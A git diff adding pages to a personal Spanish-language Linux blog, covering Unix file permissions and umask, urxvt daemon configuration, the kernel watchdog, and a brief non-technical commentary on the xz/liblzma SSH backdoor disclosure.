+<p>Recuerda, iniciado, que para mantener esta jerarquía, el sistema se maneja mediante rutas (paths), que indican el árbol de directorios y el fichero objetivo separados por /. En función de si la ruta comienza en la raíz del sistema o desde un punto variable, hablamos de rutas absolutas (/home/fjbalon/fichero) o rutas relativas (../../fjbalon/fichero), respectivamente. Algunos comodines referidos en las rutas son . (directorio actual), .. (directorio padre), $\sim$ (directorio home del usuario actual).</p>
+<p>Introducida la estructura lógica de ficheros y directorios, ahondamos en la simple pero poderosa estructura de permisos de Unix, que es uno de los pilares sobre el que descansa la seguridad en estos sistemas operativos; aplicándose a todo el sistema y a todo archivo, y construyendo un sistema robusto, fiable y estable en cuanto accesos y niveles de permisos, así como propietarios de cada archivo.</p>
+<p>Así, los permisos asociados a un archivo:</p>
+<ul>
+<li>Lectura (read - r): un usuario con permiso de lectura sobre un fichero podrá ver su contenido. Si fuera un directorio, el usuario con permiso de lectura podrá listar el contenido del mismo. Esto no quiere decir poder ver el contenido de cada fichero, para ello necesitará el permiso sobre dicho fichero. </li>
+<li>Escritura (write - w): un usuario con permiso de escritura podrá editar, añadir o eliminar el contenido de un fichero. Un usuario con permiso de escritura sobre un directorio podrá crear, eliminar o mover archivos del mismo.</li>
+<li>Ejecución (execute - x): un usuario que intente ejecutar un programa deberá tener el permiso de ejecución.</li>
+</ul>
+<p>Según los métodos de visualización, dividimos los permisos de un fichero o directorio en 3 grupos de rwx (lectura, escritura y ejecución). En caso de haber un guión en lugar de la letra representativa del permiso, no existirá tal permiso.</p>
+<ul>
+<li>El primer grupo rwx indica los permisos que tiene el usuario propietario.</li>
+<li>El segundo grupo rwx indica los permisos que tienen los usuarios que pertenecen al grupo propietario.</li>
+<li>El tercer grupo rwx indica los permisos que tienen el resto de usuarios.</li>
+</ul>
+<p>El primer caracter indicará el tipo de archivo, como indicación al usuario, que se catalogan en:</p>
+<ul>
+<li>Regular files: -</li>
+<li>Directory files: d</li>
+<li>Block file: b</li>
+<li>Character device file: c</li>
+<li>Named pipe file or just a pipe file: p</li>
+<li>Symbolic link file: l</li>
+<li>Socket file: s</li>
+</ul>
+<h2>Método de manipulación de permisos: modo octal</h2>
+<p>Los permisos rwx son representaciones de un valor binario, que determina con 1 que existe dicho permiso y con 0 que no existe. Entonces, cada trío de permisos tendría un valor binario como: rwx = 111, r-x = 101, r-- = 100. El trío binario traducido a octal nos devuelve un valor entre 0 y 7.</p>
+<pre><code>rwx => 111 binary => digit 7 because r is 4, w is 2 and x is 1, so 4+2+1=7
+r-x => 101 binary => digit 5 because r is 4 and x is 1 so 4+0+1=5
+-wx => 011 binary => digit 3 because w is 2 and x is 1 so 0+2+1=3
+--- => 000 binary => digit 0 because no permissions are set so 0+0+0=0
+
+7 = binary 111 = rwx
+6 = binary 110 = rw-
+5 = binary 101 = r-x
+4 = binary 100 = r--
+3 = binary 011 = -wx
+2 = binary 010 = -w-
+1 = binary 001 = --x
+0 = binary 000 = ---</code></pre>
+<p>De tal forma que es posible indicar con sólo 3 dígitos octales los permisos de un fichero o directorio.</p>
+<pre><code>rwxr-x-wx is rwx|r-x|-wx is 111|101|011 ==> 753
+---r----x is ---|r--|--x is 000|100|001 ==> 041
+--------- is ---|---|--- is 000|000|000 ==> 000
+rwxrwxrwx is rwx|rwx|rwx is 111|111|111 ==> 777</code></pre>
+<p>Usamos la herramienta chmod:</p>
+<pre><code># Asigna únicamente permisos de ejecución al fichero
+$ chmod 111 nombre_del_fichero
+
+# Asigna todos los permisos para el usuario, únicamente ejecución para el grupo y ninguno para el resto
+$ chmod 710 nombre_del_fichero
+
+# Asigna todos los permisos para el usuario, únicamente lectura para el grupo y ejecución y escritura para el resto
+$ chmod 743 nombre_del_fichero </code></pre>
+<h2>Método de manipulación de permisos: modo simbólico</h2>
+<p>Utiliza operadores para modificar (asignar o desasignar) los diferentes modos de los permisos. Existen 3 operadores: + (añade un modo), - (elimina un modo) y = (especifica un modo). Los usuarios son representados mediante: u (user, primer grupo rwx), g (group, segundo grupo rwx), o (others, tercer grupo rwx), a (all, todos los grupos rwx).</p>
+<p>Usamos la herramienta chmod:</p>
+<pre><code># Añade todos los permisos de ejecución al fichero
+$ chmod +x nombre_del_fichero
+
+# Elimina todos los permisos de escritura al fichero
+$ chmod -w nombre_del_fichero
+
+# Elimina permisos de lectura a otros
+$ chmod o-r nombre_del_fichero
+
+# Únicamente deja permisos de ejecución
+$ chmod =x nombre_del_fichero
+
+# Añade todos los permisos al usuario pero vacía el resto, dejando únicamente permiso de ejecución para otros
+$ chmod u+rwx,g-rwx,o=x nombre_del_fichero</code></pre>
+<p>Esto son sólo 5 ejemplos del uso de chmod en este modo, podemos realizar todas las combinaciones que necesitemos.</p>
+<h2>Método de cambio de propietario</h2>
+<p>Lo más esencial antes de iniciar la manipulación de permisos es gestionar el cambio de propietarios. Como ya se ha adelantado, un fichero tiene un usuario propietario y un grupo propietario. Generalmente por defecto es el creador de dicho fichero o directorio.</p>
+<p>Usamos la herramienta chown:</p>
+<pre><code>chown root nombre_del_fichero # Cambiamos el propietario del fichero a root
+chown juan:administradores nombre_del_fichero # Cambiamos el propietario a juan y el grupo a administradores
+chown :controladores nombre_del_fichero # Cambiamos sólo el grupo propietario a controladores</code></pre>
+<h2>Permisos de bits especiales</h2>
+<p>Fuera del predominio de rwx, pueden existir otros permisos especiales asignables a archivos y directorios en el sistema de archivos. Se referencia a estos permisos especiales como un dígito adicional agregado al comienzo del modo.</p>
+<p>Los siguientes bits especiales están disponibles para el uso del sistema de archivos de Linux:</p>
+<ul>
+<li>SUID: el permiso "Set User Id" permite a los usuarios ejecutar un programa como si fueran el usuario propietario del programa, siendo en la mayoría de los casos root. El valor numérico de este conjunto de permisos es 4XXX, donde XXX corresponde a los valores rwx.</li>
+<li>SGID: "Set Group Id", similar al anterior pero otorga automáticamente la propiedad de grupo. El valor numérico de este conjunto de permisos es 2XXX, donde XXX corresponde a los valores rwx.</li>
+<li>Pedazo pegajoso: este conjunto de permisos se usa para evitar que los «no propietarios» eliminen archivos en un directorio común (numérico = 1XXX). En un directorio de bits adhesivos, solo el propietario del archivo o el propietario del directorio puede eliminar el archivo (la raíz siempre puede eliminar archivos también).</li>
+</ul>
+<pre><code>chmod 4755 ejemplo
+ls -l ejemplo
+
+-rwsr-xr-x 1 root root 5747 Apr 25 01:45 ejemplo</code></pre>
+<h2>Enmascaramiento de permisos</h2>
+<p>umask (abreviatura de user mask, máscara de usuario) es una orden y una función en entornos POSIX que establece los permisos por defecto para los nuevos archivos y directorios creados por el proceso actual. por defecto, los directorios tienen una base octal de 777 (111 111 111)(rwx rwx rwx) mientras que los ficheros de 666 (110 110 110)(rw- rw- rw-). La razón por la que los ficheros carecen de permisos de ejecución es sencilla, por seguridad, no conviene que le demos este permiso a todo archivo nuevo. Partiendo de esta base, la operación para determinar los permisos de creación de nuevos archivos y directorios es la resta del valor dado por umask al permiso base:</p>
+<pre><code># Directory
+base 777 111 111 111 rwxrwxrwx
+umask 022 000 010 010 ----w--w-
+result 755 111 101 101 rwxr-xr-x
+
+# File
+base 666 110 110 110 rw-rw-rw-
+umask 022 000 010 010 ----w--w-
+result 644 110 100 100 rw-r--r--</code></pre>
+<p>Para corroborar la umask que estamos utilizando en este preciso momento, simplemente deberemos lanzar el comando umask, que te devolverá el valor.</p>
+<pre><code>umask
+0022</code></pre>
+<p>Para personalizar la máscara tenemos 3 opciones. La primera de ellas consiste en cambiar la máscara en la sesión que tenemos, siendo un cambio temporal.</p>
+<pre><code>umask 066</code></pre>
+<p>Si queremos hacer permanente el cambio, la segunda de ellas consiste en modificar la umask en .bashrc, por lo que afectaría al usuario en cuestión.</p>
+<pre><code>echo "umask 022" >> ~/.bashrc</code></pre>
+<p>Y la tercera opción consiste en editar el fichero de configuración /etc/profile, afectando a todos los usuarios.</p>
+<pre><code>echo "umask 022" >> /etc/profile</code></pre>
+<p>Cabe destacar que si que, el sistema (/etc/profile) tiene una máscara de -por ejemplo- 026 y el usuario (.bashrc) de 002 la prioridad del usuario siempre será la de su configuración propia. De hecho su funcionamiento es el siguiente: el usuario busca en su fichero de configuración la línea umask, en caso de no haber busca en el sistema. Por lo que en el caso de no configurar umask en el usuario, la configuración del mismo será la del sistema.</p>
+</body>
+</html>
+\ No newline at end of file
diff --git a/urxvtd/index.html b/urxvtd/index.html
@@ -0,0 +1,102 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="viewport" content="width=device-width, initial-scale=1" />
+<title>Del emulador de terminal urxvt</title>
+<link rel="icon" type="image/png" href="/favicon.png" />
+<link rel="stylesheet" type="text/css" href="../article.css" />
+</head>
+<body>
+<header>
+<p class="title">Del emulador de terminal urxvt</p>
+<p class="date">20 de julio de 2024 • fjbalon</p>
+</header>
+<p>El emulador de terminal es el programa que proporciona una interfaz de texto que imita el comportamiento de una terminal hardware-física, de tal forma que el usuario interactúe con el sistema operativo mediante la ejecución de comandos. Generalmente, los entornos de escritorio ofrecen su propia versión, vitaminada y adaptada al funcionamiento general del ecosistema gráfico. Así, el vulgo usará las clásicas como la terminal de Gnome o la de KDE.</p>
+<p>Sin embargo, existen terminales de uso menos frecuente; al menos en un uso más profundo; tanto en recursos del sistema, personalización, eficiencia, velocidad... Que es necesario conocer.</p>
+<p>En mi caso concreto, utilizo regularmente xterm, urxvt y st, siendo el segundo el que nos ocupa en éste artículo.</p>
+<p>urxvt (ó rxvt-unicode); o en adelante urxvtd como me gusta denominarla, es un emulador de terminal customizable bifurcado de rxvt, añadiendo soporte para extensiones perl. Es uno de los emuladores más conocidos del cosmos Unix, especialmente por en Unixporn por su alta configurabilidad estética. Además, es un emulador muy ligero y muy rápido.</p>
+<p>Sin embargo, la característica que me hizo decantarme por ella hace ya varios años, es sin lugar a dudas su capacidad de terminal demonizable.</p>
+<p>Esto significa que puede correr en modo demonio (daemon), lo que permite compartir una única instancia de terminal entre múltiples ventanas, reduciendo el uso de memoria y mejorando el rendimiento. En palabras más técnicas, ejecutaríamos una instancia o demonio en segundo plano, que serviría como servidor de <emb>urxvtd</emb>, al que los clientes de <emb>urxvtc</emb> se conectan como hijos, en lugar de crear cada uno un nuevo proceso completo de <emb>urxvt</emb>.</p>
+<p>Ejecutarlo es tan sencillo como usar el comando:</p>
+<pre><code>urxvtd</code></pre>
+<p>Y posteriormente, por cada terminal a ejecutar:</p>
+<pre><code>urxvtc</code></pre>
+<p>Lo que hago para automatizar esto, es añadir al <emb>.xinitrc</emb> la ejecución de <emb>urxvtd &</emb>, y en el gestor de ventanas indico que la ejecución de terminal se hace mediante <emb>urxvtc</emb>. Tan simple como esto.</p>
+<pre><code>init(1)─┬─urxvtd(1234)─┬─urxvtc(5678)
+ │ ├─urxvtc(5679)
+ │ └─urxvtc(5680)</code></pre>
+<p>Como terminal íntimamente ligada al servidor X, que sirve como reemplazo de <emb>xterm</emb>, su configuración estética se realiza mediante los ficheros de configuración utilizados por <emb>X Windows System</emb> para definir los recursos y ajustes de las aplicaciones X, es decir, <emb>~/.Xresources</emb> y <emb>~/.Xdefaults</emb>.</p>
+<p>De entre ambos, utilizo <emb>.Xresources</emb> por su flexibilidad, ya que permite actualizar configuraciones sobre la marcha sin necesidad de actualizar el servidor; en comparación con <emb>.Xdefault</emb> que es estático. El primero, se carga específicamente mediante el comando <emb>xrdb</emb>, permitiendo una carga condicional y específica de los recursos. Personalmente añado al <emb>.xinitrc</emb>:</p>
+<pre><code>xrdb -merge ~/.Xresources</code></pre>
+<p>Para cargar la configuración. Mientras que si emplease el segundo, se carga automáticamente al iniciar la aplicación X, siendo que no se aplica para las aplicaciones en ejecución; y puede requerir un reinicio de todo el servidor X para que los cambios surtan efecto.</p>
+<p>He aquí ejemplos de parametrización estética y funcional empleadas por mí:</p><ul>
+ <li>Fuente<pre><code>URxvt*font: xft:inconsolata:size=9:antialias=true</code></pre></li>
+ <li>Colores
+ <p>El uso del color de fondo y de letra se realiza mediante:</p>
+<pre><code>URxvt*background: #000000
+URxvt*foreground: #f7f7f7</code></pre>
+ <p>De tal modo que el fondo negro puro contraste con un blanco no demasiado brillante. Por otro lado, la paleta de colores:</p>
+<pre><code>!black
+URxvt*color0: #101010
+URxvt*color8: #404040
+!red
+URxvt*color1: #e5211d
+URxvt*color9: #ad3430
+!green
+URxvt*color2: #77a026
+URxvt*color10: #94db43
+!yellow
+URxvt*color3: #d2dd30
+URxvt*color11: #ddef56
+!blue
+URxvt*color4: #2e97ba
+URxvt*color12: #77c6e5
+!magenta
+URxvt*color5: #c42b7f
+URxvt*color13: #ef6bd5
+!cyan
+URxvt*color6: #25b1c6
+URxvt*color14: #70e0ef
+!white
+URxvt*color7: #dddddd
+URxvt*color15: #ffffff
+</code></pre>
+ <p>De tal forma que mantengo una coherencia colorestética de mi agrado. El resultado, es algo como:</p>
+<div style="display: flex; flex-wrap: wrap; justify-content: center; align-items: center; margin: 0;">
+<div style="width: 50px; height: 50px; background-color: #101010;"></div>
+<div style="width: 50px; height: 50px; background-color: #404040;"></div>
+<div style="width: 50px; height: 50px; background-color: #e5211d;"></div>
+<div style="width: 50px; height: 50px; background-color: #ad3430;"></div>
+<div style="width: 50px; height: 50px; background-color: #77a026;"></div>
+<div style="width: 50px; height: 50px; background-color: #94db43;"></div>
+<div style="width: 50px; height: 50px; background-color: #d2dd30;"></div>
+<div style="width: 50px; height: 50px; background-color: #ddef56;"></div>
+<div style="width: 50px; height: 50px; background-color: #2e97ba;"></div>
+<div style="width: 50px; height: 50px; background-color: #77c6e5;"></div>
+<div style="width: 50px; height: 50px; background-color: #c42b7f;"></div>
+<div style="width: 50px; height: 50px; background-color: #ef6bd5;"></div>
+<div style="width: 50px; height: 50px; background-color: #25b1c6;"></div>
+<div style="width: 50px; height: 50px; background-color: #70e0ef;"></div>
+<div style="width: 50px; height: 50px; background-color: #dddddd;"></div>
+<div style="width: 50px; height: 50px; background-color: #ffffff;"></div>
+</div>
+ </li>
+ <li>Activado buffer interno, lo que puede mejorar el rendimiento al reducir el parpadeo de la pantalla.<pre><code>URxvt*buffered: true</code></pre></li>
+ <li>Parpadeo del cursor en la terminal.<pre><code>URxvt*cursorBlink: true</code></pre></li>
+ <li>Color de subrayados.<pre><code>URxvt*underlineColor: yellow</code></pre></li>
+ <li>Profundidad de color de la ventana a 32 bits<pre><code>URxvt*depth: 32</code></pre></li>
+ <li>Sin bordes externos y definimos el tamaño del borde interno (margen) en píxeles. El valor por defecto es 3.<pre><code>URxvt*borderless: 1
+URxvt.internalBorder: 20</code></pre></li>
+ <li>Desactivada barra estética de desplazamiento y mantenemos el estilo tradicional de urxvt<pre><code>URxvt*scrollBar: false
+URxvt.scrollStyle: rxvt</code></pre></li>
+ <li>Hace que urxvt inicie un shell de login, que leerá los archivos de inicialización específicos de login del shell.<pre><code>URxvt*loginShell: true</code></pre></li>
+ <li>Habilita el desplazamiento con Shift-PageUp/PageDown, útil cuando se usa screen o tmux.<pre><code>Urxvt*secondaryScroll: true</code></pre></li>
+ <li>Definida a 5000 el número de líneas que se guardan en el historial de desplazamiento.<pre><code>URxvt*saveLines: 5000</code></pre></li>
+ <li>Establece el nombre del terminal (valor de $TERM), que es importante para la compatibilidad con aplicaciones que detectan el tipo de terminal.<pre><code>URxvt*termName: rxvt-unicode</code></pre></li>
+ <li>Habilita extensiones Perl comunes, incluyendo la detección de URLs (<emb>matcher</emb>), manejo del portapapeles (<emb>clipboard</emb>), y la copia de selecciones al portapapeles (<emb>selection-to-clipboard</emb>).<pre><code>URxvt.perl-ext-common: default,matcher,clipboard,selection-to-clipboard</code></pre></li>
+ <li>Definimos Firefox como el navegador a llamar al clickar una url y especificamos el botón del ratón (1 es el botón izquierdo) que debe ser utilizado para llamar al click.<pre><code>URxvt.urlLauncher: firefox
+URxvt.matcher.button: 1</code></pre></li>
+</ul>
+</body>
+</html>
+\ No newline at end of file
diff --git a/watchdog/index.html b/watchdog/index.html
@@ -0,0 +1,51 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="viewport" content="width=device-width, initial-scale=1" />
+<title>Síntesis del Linux kernel watchdog</title>
+<link rel="icon" type="image/png" href="/favicon.png" />
+<link rel="stylesheet" type="text/css" href="../article.css" />
+</head>
+<body>
+<header>
+<p class="title">Síntesis del Linux kernel watchdog</p>
+<p class="date">12 de junio de 2017 • fjbalon</p>
+</header>
+<p>El watchdog (perro guardían o vigilante) del kernel de Linux se utiliza para monitorizar y vigilar un sistema que se está ejecutando, de forma que pueda ser reiniciado automáticamente en caso de fallo de software irrecuperable.</p>
+<p>El módulo de watchdog es específico para el hardware o chip que se utiliza.</p>
+<p>Los usuarios, por norma general, no necesitan de vigilancia en sus sistemas, pues pueden ellos mismos restablecer el sistema manualmente; así está pensado para dispositivos críticos que requieran de restablecimientos sin intervención humana, por ejemplo servidores en una ubicación remota o equipos integrados en naves espaciales.</p>
+<p>En su intervención es necesario proceder con precaución, ya que configuraciones incorrectas o erróneas podrían provocar:</p>
+<ul>
+<li>Bucles infinitos de reinicios.</li>
+<li>Corrupción de archivos debido al hard reset.</li>
+<li>Reinicios aleatorios impredecibles.</li>
+</ul>
+<p>Por lo que es preferible evitar el uso de servidores en vivo para probar el funcionamiento de watchdog.</p>
+<ol>
+<li>Watchdog module</li>
+<p>La funcionalidad de watchdog sobre hardware configura un temporizador que agota el tiempo de espera después de un período predeterminado. El software de watchdog actualiza periódicamente el temporizador del hardware, y si éste deja de actualizarse luego del período establecido el temporizador realizará un restablecimiento de hardware del dispositivo. Para que un temporizador watchdog sea funcional, el fabricante de la placa base tiene que permitir esta funcionalidad en el chip.</p>
+<p>A menudo, la documentación del fabricante de hardware no deja claro sobre si se implementó o no esta funcionalidad. En ese caso hay que testearlo directamente.</p>
+<p>Además es necesario el módulo del kernel de vigilancia correcto, que será cargado en el sistema Linux. Diferentes chips utilizan diferentes módulos, por ejemplo:</p>
+<ul>
+<li>Intel utiliza <emb>iTCO_wdt</emb>.</li>
+<li>El hardware de HP utiliza <emb>hpwdt</emb>.</li>
+<li>Los mainframes de IBM utilizan <emb>vmwatchdog</emb>.</li>
+<li>Xen VM utiuliza <emb>xen_wdt</emb>.</li>
+</ul>
+<p>Una vez corroborado la carga del módulo es posible verificar <emb>/dev/watchdog</emb> en el sistema Linux. Si el archivo está presente, significa que se cargó el controlador. El sistema escribe periódicamente a <emb>/dev/watchdog</emb> (esta acción suele llamarse coloquialmente <i>patear o alimentar al perro guardián</i> o <i>kicking or feeding the watchdog</i>). Si el sistema falla y no 'patea' o 'alimenta' al perro, el sistema se restablecerá completamente.</p>
+<li>Watchdog daemon</li>
+<p>El demonio de watchdog abre el dispositivo y proporciona la actualización necesaria para evitar que el sistema se restablezca. Éste puede comprobar el espacio de la tabla de procesos, el uso de memoria (memory usage), la accesibilidad de archivos, la carga de trabajo, desbordamientos en la tabla de archivos, ping a direcciones IP, tráfico de interfaz de red, temperatura, procesos en ejecución, etc. Como ya hemos visto, si las pruebas fallan el perro provocará el apagado.</p>
+<p>El demonio de watchdog debería iniciarse en el momento del arranque. Podemos verificar si está iniciado con:</p>
+<pre><code>ps -af | grep watch*</code></pre>
+<p>Si el kernel no estuviera compilado con <emb>CONFIG_WATCHDOG_NOWAYOUT</emb> y cerramos correctamente <emb>/dev/watchdog</emb> no habrá reinicio. Podemos escribir un carácter V en <emb>/dev/watchdog</emb> y luego cerrar el archivo; lo que detendrá al perro guardián.</p>
+<p>Si queremos comprobar que el control de hardware está funcionando, podemos lanzar la siguiente orden con privilegios root:</p>
+<pre><code>cat >> /dev/watchdog</code></pre>
+<p>Una vez haya pasado el tiempo esperado, dependiendo de la configuración del kernel, el sistema realizará el hard reboot.</p>
+<p>Una vez conocemos watchdog, podemos iniciar su configuración. El fichero de configuración de watchdog se encuentra en <emb>/etc/watchdog.conf</emb> (es posible que haya que instalar el paquete watchdog en la distribución utilizada).</p>
+<pre><code># cat /etc/watchdog.conf
+realtime = yes
+priority = 1</code></pre>
+</ol>
+</body>
+</html>
+\ No newline at end of file
diff --git a/xz-liblzma/index.html b/xz-liblzma/index.html
@@ -0,0 +1,57 @@
+<!DOCTYPE html>
+<html>
+<head>
+<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+<meta name="viewport" content="width=device-width, initial-scale=1" />
+<title>Del backdoor de SSH por xz/liblzma</title>
+<link rel="icon" type="image/png" href="/favicon.png" />
+<link rel="stylesheet" type="text/css" href="../article.css" />
+</head>
+<body>
+<header>
+<p class="title">Del backdoor de SSH por xz/liblzma</p>
+<p class="date">1 de abril de 2024 • fjbalon</p>
+</header>
+<p>Como bien se sabe, este no es un blog de noticias. Ni me interesan por regla común, ni mucho menos quiero ser partícipe o servidor de ellas. Este es un blog que se centra en el mundo de las ideas, de la técnica, de lo permanente, de lo relativamente inmutable. No obstante, me gustaría hacer una noble excepción, no para producir ni informar sobre la noticia, sino para analizar la portentosa técnica que encierra.</p>
+<p>Y me refiero a la noticia, que habréis visto en diversos foros de GNU/Linux y feudos de noticias técnicas; y no habréis visto en ningún medio de masas, del intento de backdoor en SSH a través de la biblioteca de <emb>xz/liblzma</emb>.</p>
+<p>He considerado que la complejidad del ataque, de una precisión y técnica sobresaliente y digna de un gran intelecto, merece unas letras y un breve análisis.</p>
+<p>La biblioteca de <emb>lzma</emb> comprometida activaría, a través de un enlace de <emb>openssh</emb>, a <emb>sd_notify</emb> (<i>systemd notify</i>) para obtener código oculto en <emb>liblzma</emb>. Así, podría crear una puerta trasera a cualquier servidor SSH de Debian/Fedora/Ubuntu.</p>
+<p>Aparentemente, ni siquiera <emb>openssh-selinux</emb> sería seguro en esas condiciones (glibc, x86-64, fuente de tarball preconfigurada de Github 5.6.0 y 5.6.1, systemd empaquetado, OpenSSH, RPM o DEB, con llamadas habilitadas a systemd a través de <emb>openssh.service</emb>). Si la fuente se creó a partir de git con autoconf/make limpio nativo, el código malicioso no se habría incluido. Los sistemas musl (Alpine, Gentoo, OpenWRT o Void) no tienen nada de qué preocuparse, simplemente porque ni siquiera pueden compilar <emb>sd_notify</emb>.</p>
+<p>Una cosa muy llamativa es cómo gran parte de la comunidad cruzada contra systemd criticaba a <emb>zstd</emb>, defendiendo en contraposición al amigable <emb>xz</emb>. Sospechaban que el propio <emb>zstd</emb> (o Zstandard, que para quien no lo conozca, es un algoritmo de compresión desarrollado por Facebook para Linux), tenía el riesgo de ser un caballo de Troya para la seguridad y el cifrado, siendo que incluso <emb>zstd</emb> se construye, mayoritariamente, con la biblioteca <emb>lzma</emb> habilitada...</p>
+<p>«<i>Es sólo un algoritmo de compresión, no se puede usar para explotar la seguridad de un sistema, es imposible</i>» he llegado a leer por feudos del Internet. Pues este backdoor nos ha demostrado que es totalmente posible.</p>
+<p>Buena noticia, por lo tanto, para Slackware y otras distros no-systemd: hasta donde los expertos en Debian, Fedora, Arch o Ubuntu han llegado, se necesita necesariamente systemd para 'energizar' la puerta trasera, específicamente un gancho utilizado por Debian para construir <emb>openssh</emb> de cierta manera para que <emb>systemd/dbus/sd-bus/sd-notify</emb> ejecute código malicioso para obtener material de un blob de <emb>lzma</emb> para modificar los binarios en ejecución para abrir la puerta trasera. Es una genialidad, se mire por donde se mire. Y los cruzados contra systemd siguen teniendo, pues, razón.</p>
+<p>Este complejísimo ataque sobre librerías y códigos abiertos -apertura que permite a la comunidad, o a cualquiera que entienda, monitorizar los commits y evolución del código- ha llevado prácticamente 2 años a través de la librería <emb>xz</emb> en Github (llevado a cabo principalmente por la cuenta <i>JiaT75</i> y otras de dudosa legitimidad), para afectar como decíamos a <emb>liblzma</emb>, el vector de ataque. Tenga en cuenta el lector, que esta gran complejidad para insertar un backdoor es precisamente por la naturaleza del código abierto, en código cerrado probablemente otro gallo cantaría, incluso para la detección.</p>
+<p>Pero incluso la detección tiene tela: Andres Freund, un trabajador de Microsoft (valga el chiste, salvados por Microsoft, xd) mientras realizaba tests de rendimiento notó que el demonio de SSH tardaba 500ms más de lo habitual... ¡Increible!</p>
+
+<pre><cita>
+After observing a few odd symptoms around liblzma (part of the xz package) on
+Debian sid installations over the last weeks (logins with ssh taking a lot of
+CPU, valgrind errors) I figured out the answer:
+
+The upstream xz repository and the xz tarballs have been backdoored.
+
+[...]
+
+With the backdoored liblzma installed, logins via ssh become a lot slower.
+
+time ssh nonexistant@localhost
+
+before:
+nonexistant@localhost: Permission denied (publickey).
+
+before:
+real 0m0.299s
+user 0m0.202s
+sys 0m0.006s
+
+after:
+nonexistant@localhost: Permission denied (publickey).
+
+real 0m0.807s
+user 0m0.202s
+sys 0m0.006s
+</cita></pre>
+<anot>Fuente: <a href="https://lwn.net/ml/oss-security/20240329155126.kjjfduxw2yrlxgzm@awork3.anarazel.de/">https://lwn.net/ml/oss-security/20240329155126.kjjfduxw2yrlxgzm@awork3.anarazel.de/</a></anot>
+<p>Dicen que ejecutando <emb>strings `which xz` | grep "(XZ Utils)"</emb> detectamos si contamos con una versión seguta (<<emb>5.6.0</emb>), pero sólo cerciórese en caso de cumplir los requisitos para haber sido afectado por el backdoor.</p>
+</body>
+</html>
+\ No newline at end of file